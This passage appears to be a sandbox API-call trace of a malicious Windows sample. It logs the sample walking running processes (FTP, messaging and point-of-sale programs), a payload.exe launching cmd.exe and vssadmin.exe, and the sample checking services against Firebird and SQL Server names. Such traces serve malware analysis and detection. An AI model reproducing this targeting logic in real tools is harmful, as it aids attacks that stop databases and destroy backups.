th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0047.732] lstrlenW (lpString="leechftp.exe") returned 12 [0047.732] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0047.732] lstrlenW (lpString="ncftp.exe") returned 9 [0047.732] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0047.733] lstrlenW (lpString="notepad.exe") returned 11 [0047.733] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0047.733] lstrlenW (lpString="operamail.exe") returned 13 [0047.733] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0047.734] lstrlenW (lpString="pidgin.exe") returned 10 [0047.734] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0047.734] lstrlenW (lpString="scriptftp.exe") returned 13 [0047.735] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0047.735] lstrlenW (lpString="skype.exe") returned 9 [0047.735] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0047.736] lstrlenW (lpString="smartftp.exe") returned 12 [0047.736] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0047.736] lstrlenW (lpString="thunderbird.exe") returned 15 [0047.736] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0047.737] lstrlenW (lpString="totalcmd.exe") returned 12 [0047.737] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0047.737] lstrlenW (lpString="trillian.exe") returned 12 [0047.737] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0047.738] lstrlenW (lpString="webdrive.exe") returned 12 [0047.738] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0047.738] lstrlenW (lpString="whatsapp.exe") returned 12 [0047.739] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0047.739] lstrlenW (lpString="winscp.exe") returned 10 [0047.739] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0047.740] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0047.740] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0047.740] lstrlenW (lpString="active-charge.exe") returned 17 [0047.740] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0047.741] lstrlenW (lpString="accupos.exe") returned 11 [0047.741] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0047.741] lstrlenW (lpString="afr38.exe") returned 9 [0047.741] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0047.742] lstrlenW (lpString="aldelo.exe") returned 10 [0047.742] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0047.742] lstrlenW (lpString="ccv_server.exe") returned 14 [0047.742] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0047.743] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0047.743] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0047.743] lstrlenW (lpString="creditservice.exe") returned 17 [0047.743] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0047.744] lstrlenW (lpString="edcsvr.exe") returned 10 [0047.744] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0047.744] lstrlenW (lpString="fpos.exe") returned 8 [0047.744] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0047.745] lstrlenW (lpString="isspos.exe") returned 10 [0047.745] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0047.745] lstrlenW (lpString="mxslipstream.exe") returned 16 [0047.745] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0047.746] lstrlenW (lpString="omnipos.exe") returned 11 [0047.746] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0047.746] lstrlenW (lpString="spcwin.exe") returned 10 [0047.746] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0047.747] lstrlenW (lpString="spgagentservice.exe") returned 19 [0047.747] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0047.747] lstrlenW (lpString="utg2.exe") returned 8 [0047.747] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0047.748] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0047.748] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0047.748] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0047.748] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0047.749] lstrlenW (lpString="notebook.exe") returned 12 [0047.749] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0047.749] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0047.749] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0047.750] lstrlenW (lpString="current.exe") returned 11 [0047.750] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.750] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.750] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.751] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.751] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.751] lstrlenW (lpString="taskhost.exe") returned 12 [0047.751] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0047.752] lstrlenW (lpString="payload.exe") returned 11 [0047.752] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0047.752] lstrlenW (lpString="cmd.exe") returned 7 [0047.752] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.752] lstrlenW (lpString="conhost.exe") returned 11 [0047.753] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0047.753] lstrlenW (lpString="vssadmin.exe") returned 12 [0047.753] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0047.753] lstrlenW (lpString="VSSVC.exe") returned 9 [0047.753] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.754] lstrlenW (lpString="svchost.exe") returned 11 [0047.754] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0047.754] CloseHandle (hObject=0x1a0) returned 1 [0047.754] Sleep (dwMilliseconds=0x1f4) [0048.380] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x900090 [0048.380] EnumServicesStatusExW (in: hSCManager=0x900090, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0048.380] GetLastError () returned 0xea [0048.380] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0048.381] EnumServicesStatusExW (in: hSCManager=0x900090, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0048.381] CloseServiceHandle (hSCObject=0x900090) returned 1 [0048.381] lstrlenW (lpString="Appinfo") returned 7 [0048.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0048.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0048.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0048.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0048.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0048.381] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0048.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.381] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0048.382] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0048.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0048.382] lstrlenW (lpString="AudioSrv") returned 8 [0048.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0048.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0048.382] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0048.382] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0048.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0048.382] lstrlenW (lpString="BFE") returned 3 [0048.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0048.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0048.382] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0048.382] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0048.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0048.382] lstrlenW (lpString="CryptSvc") returned 8 [0048.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0048.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0048.382] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0048.382] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0048.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0048.382] lstrlenW (lpString="CscService") returned 10 [0048.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0048.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0048.382] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0048.382] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0048.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0048.382] lstrlenW (lpString="DcomLaunch") returned 10 [0048.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.382] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0048.382] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0048.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0048.382] lstrlenW (lpString="Dhcp") returned 4 [0048.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0048.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0048.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0048.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0048.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0048.382] lstrlenW (lpString="Dnscache") returned 8 [0048.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0048.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0048.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0048.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0048.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0048.382] lstrlenW (lpString="DPS") returned 3 [0048.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0048.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0048.383] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0048.383] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0048.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0048.383] lstrlenW (lpString="eventlog") returned 8 [0048.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0048.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0048.383] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0048.383] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0048.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0048.383] lstrlenW (lpString="EventSystem") returned 11 [0048.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0048.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0048.383] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0048.383] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0048.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0048.383] lstrlenW (lpString="gpsvc") returned 5 [0048.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0048.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0048.383] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0048.383] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0048.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0048.383] lstrlenW (lpString="iphlpsvc") returned 8 [0048.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.383] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0048.383] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0048.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0048.383] lstrlenW (lpString="LanmanServer") returned 12 [0048.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0048.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0048.383] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0048.383] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0048.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0048.383] lstrlenW (lpString="LanmanWorkstation") returned 17 [0048.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.383] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0048.383] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0048.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0048.383] lstrlenW (lpString="lmhosts") returned 7 [0048.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0048.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0048.383] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0048.383] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0048.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0048.383] lstrlenW (lpString="MMCSS") returned 5 [0048.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0048.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0048.383] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0048.383] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0048.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 